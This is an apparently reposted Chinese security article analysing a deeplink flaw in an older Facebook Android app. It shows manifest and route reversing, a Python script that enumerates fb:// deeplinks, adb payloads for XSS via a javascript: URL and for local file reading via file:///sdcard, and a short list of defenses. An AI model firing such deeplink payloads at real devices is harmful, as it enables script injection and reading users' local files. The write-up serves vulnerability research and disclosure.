Facebook任意JS代码执行漏洞原理与利用分析
栏目: JavaScript · 发布时间: 6年前
内容简介:最近FB Android应用爆出了一个任意JS代码执行的漏洞,着手分析了一下,也挺有趣,分享学习一下,有不当之处还请包涵,欢迎讨论学习。测试环境:
*本文作者:Tasfa,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
前言
最近FB Android应用爆出了一个任意JS代码执行的漏洞,着手分析了一下,也挺有趣,分享学习一下,有不当之处还请包涵,欢迎讨论学习。
0×00 概述
测试环境:
Android 4.4 nexus 5
测试版本:
Facebook com.facebook.katana_186.0.0.48.81.apk
测试版本下载:
0×01 漏洞原理
根据漏洞的简单描述,得知漏洞起因依旧是deeplink的问题,如果对这方面知识不熟悉,可以参考我的其他文章。
既然是deeplink,切入的思路从AndroidManifest.xml也是比较正常的思路。通过搜索”<data”、”android:scheme”等关键词,可以定位到关键的activity:
activity android:theme="@7F1D0588" android:name="com.facebook.katana.IntentUriHandler" android:taskAffinity="com.facebook.task.IntentUriHandler" android:excludeFromRecents="true" android:launchMode="3" > <intent-filter > <action android:name="android.intent.action.VIEW" > </action> <category android:name="android.intent.category.DEFAULT" > </category> <data android:scheme="facebook" > </data> </intent-filter> <intent-filter > <action android:name="android.intent.action.VIEW" > </action> <category android:name="android.intent.category.DEFAULT" > </category> <category android:name="android.intent.category.BROWSABLE" > </category> <data android:scheme="fb" > </data> </intent-filter> ...省略android:scheme=http/https <intent-filter > <action android:name="android.intent.action.VIEW" > </action> <category android:name="android.intent.category.DEFAULT" > </category> <category android:name="android.intent.category.BROWSABLE" > </category> <data android:scheme="dialtone" > </data> </intent-filter> </activity>
分析可知:
该Apk有三个scheme,但只有两个有属性android:name=”android.intent.category.BROWSABLE,因此可以通过浏览器打开的只有”fb”、”dialtone”;
自然,切入com.facebook.katana.IntentUriHandler查看究竟;
这里有个小问题,直接打开jeb是无法找到这个类的,直接找台root手机在内存中把dex抠出来,或者在app的data/dex目录下都可以拿到dex文件;
拿到了总共12个dex文件;
全部加载进jeb,搜索关键字即可。
但是存在问题就是分散的dex,jeb无法进行关联,因此大部分会反编译失败,只能阅读smali代码,或者另一种思路,即是将其合并成一个完整的dex。
这里我们进行另一个思路,我们可以全局搜索fb://关键字,看看有什么关键的信息。
搜索后我们发现assets/Bundle-fb4.js.hbc,通过分析该文件,找到了大量的fb协议deeplink。
fb://embedded_native_browser?url=https%3A%2F%2Fwww.buzzfeed.com%2FsigninePatchImaget fb://marketplace_product_details_from_for_sale_item_id?forSaleItemID=blink_informatStringetMonthNamesTrying fb://adsmanager/image/select/{page}/test_portal_pickergb(251, 114, 75) fb://ama?entryPoint=BOOKMARK&targetURI=%2FywV1681912765254542690646773064807605154172325604775729VXkLTLove
我们再继续搜索关键词embedded_native_browser、ama等等。
发现另一个文件react_native_routes.json存在大量可利用的特征:
{ "name": "AMAShellRoute", "navigationOptions": { "fb_hidesTabBar_POST_IN_IOS_NAVIGATION_BEFORE_USING": "<fb_hidesTabBar>", "fb_showNavBarSearchField": false, "presentationMethod": "<presentationMethod>" }, "path": "/ama", "paramDefinitions": { "entryPoint": { "type": "String", "required": false }, "fb_hidesTabBar": { "type": "String", "required": false }, "presentationMethod": { "type": "String", "required": false }, "targetURI": { "type": "String", "required": false } }, "access": "exported" },
从名字也可知道这是关键的路由url,由于文件比较长,我们可以自动化脚本处理一下,自动化生成deeplink。
import json with open('1.json',"rw") as load_f: load_dict = json.load(load_f) for x in xrange(0,len(load_dict)): param = '' keys = load_dict[0]['paramDefinitions'].keys() for y in xrange(0,len(keys)): param = param + keys[y] + '=' + load_dict[0]['paramDefinitions'][keys[y]]['type'] + '&' url = 'fb:/' + load_dict[x]['path'] + '/?' + param
结果节选:
fb://ama/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://aymtinstadeck/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://activitylog_edit_privacy/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://activitylogfiltered/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://activitylog/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://pagesadminhelp/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://canvaseditor/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://adsmanager/{account}/insights/{adObject}/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://adsmanager/image/select/{page}/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_add_bank_account/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_add_credit_card/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_add_paypal/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_billing_date/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_billing_date_saved/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_brazil_address_info/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_brazil_tax_id/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_checkout_receipt/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_checkout_payment_receipt/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_checkout/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_collect_tax_details/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_country_selector/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_add_card/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_currency_selector/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_direct_debit_country_selector/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_flow/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_gst_id/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_prepay_business_info/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_prepay_client_info/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_prepay_disclaimer/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_prepay_funding/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_prepay_payment_status/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_redeem_coupon/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_select_payment_method/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://ads_payments_UK_direct_debit_guarantee/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
fb://author_publisher_settings_add_publications_modal/?fb_hidesTabBar=String&targetURI=String&entryPoint=String&presentationMethod=String
总共有521个链接
0×02 漏洞利用
根据上面的脚本跑出来的url,可以在其基础上,随机初始化参数后,自动化跑模拟器或真机,观察结果。
Payload:
adb shell am start -a "android.intent.action.VIEW" -d "fb_url"
找出其中一些比较有利用价值的payload:
adb shell am start -a "android.intent.action.VIEW" -d "fb://payments_add_paypal/?url={STRING}" adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl={STRING}" adb shell am start -a "android.intent.action.VIEW" -d "fb://ads_payments_prepay_webview/?account={STRING}\&contextID={STRING}\&paymentID={STRING}\&url={STRING}\&originRootTag={INTEGER}" adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=https://google.com"
由于墙内的原因(你懂的),最终效果引用原作者的图
XSS 攻击Payload
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=javascript:confirm('https://facebook.com/Ashley.King.UK')"
LFI 攻击Payload
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=file:///sdcard/CDAInfo.txt"
0×03 漏洞防御
1、尽量不要使用 setJavaScriptEnable(true)。
2、尽量使用加密的方式存储deeplink路由信息等等关键信息。
3、进行非法来源检测。
4、不要点击来历不明的超链接。
0×04 参考
Breaking the Facebook for Android application
*本文作者:Tasfa,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
以上所述就是小编给大家介绍的《Facebook任意JS代码执行漏洞原理与利用分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Web 安全恩仇录:漏洞原理
- WebExec漏洞原理与分析浅谈
- ThinkPHP远程命令执行漏洞原理及复现
- MS08-067漏洞原理及详尽分析过程
- 二进制各种漏洞原理实战分析总结
- Apache Struts OGNL注入漏洞原理与示例
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
亚马逊跨境电商运营宝典
老魏 / 电子工业出版社 / 2018-6 / 69
《亚马逊跨境电商运营宝典》详细讲解亚马逊的平台知识和运营技巧,内容围绕亚马逊卖家的日常工作,系统讲解亚马逊账号注册、后台操作、选品、产品发布、Listing 优化、站内广告、FBA 发货、VAT 税务等内容,并且通过大量的案例分析,用生动翔实的案例为读者传递运营中必备的操作技巧和运营方法。 《亚马逊跨境电商运营宝典》内容针对性强,讲解的知识、技巧和方法都充分考虑到易学、易懂、易操作、易落地执......一起来看看 《亚马逊跨境电商运营宝典》 这本书的介绍吧!
Markdown 在线编辑器
Markdown 在线编辑器
正则表达式在线测试
正则表达式在线测试